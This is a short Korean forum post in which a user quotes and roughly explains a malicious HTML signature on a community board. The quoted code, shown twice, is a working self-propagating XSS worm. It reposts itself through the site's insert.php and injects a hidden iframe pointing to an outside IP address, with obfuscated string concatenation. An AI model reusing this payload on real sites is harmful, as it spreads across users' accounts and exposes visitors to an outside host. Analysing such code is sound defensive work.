19. 라는 게시판 보니까

<div style="width:1px;filter:glow" onfilterchange="var xmlhttp = new XMLHttpRequest(); ok_click(this); xmlhttp.open('GET', window.location, false); xmlhttp.send(); var tail = xmlhttp.responseText; tail = tail.split('tail'.concat('_layer'))[1]; tail = tail.split('content'.concat('Container'))[0]; xmlhttp.open('POST', 'http://todayhumor.co.kr/board/insert.php', false); xmlhttp.setRequestHeader('Content-type','application/x-www-form-urlencoded'); var se = 'content=..&to_prevent_error_code=X&ta'.concat('b'); se = se.concat('le=humordata&oekaki_url=&h_code=yes&name=z&subject=19.&tail_html=Y&tail='.concat(escape(tail))); xmlhttp.send(se); var ifra = '<ifra'; var me = ifra.concat('me width=1 height=1 src=http://1.234.83.71></ifra'); var fin = me.concat('me>'); document.getElementById('topmenu_contain').outerHTML= fin;">x</div>

이란 내용의 꼬릿말이 문제인듯 합니다.
보기 편하게

<div style="

width:1px;

filter:glow" onfilterchange="var xmlhttp = new XMLHttpRequest();

ok_click(this);

xmlhttp.open('GET', window.location, false);

xmlhttp.send();

var tail = xmlhttp.responseText; tail = tail.split('tail'.concat('_layer'))[1];

tail = tail.split('content'.concat('Container'))[0];

xmlhttp.open('POST', 'http://todayhumor.co.kr/board/insert.php', false);

xmlhttp.setRequestHeader('Content-type','application/x-www-form-urlencoded');

var se = 'content=..&to_prevent_error_code=X&ta'.concat('b'); se = se.concat('le=humordata&

oekaki_url=&h_code=yes&name=z&

subject=19.&

tail_html=Y&tail='.concat(escape(tail)));

xmlhttp.send(se);

var ifra = '<ifra';

var me = ifra.concat('me width=1 height=1 src=http://1.234.83.71></ifra');

var fin = me.concat('me>');

document.getElementById('topmenu_contain').outerHTML= fin;

">x</div>

코드는 잘모르겠고 GET 부분이랑, POST 부분 마지막으로 me (var me) 가 이렇게 만드는듯.

get으로 권한 가지고 오고 POST로 올리고 me가 올릴 소스 ( 꼬릿말) 인듯.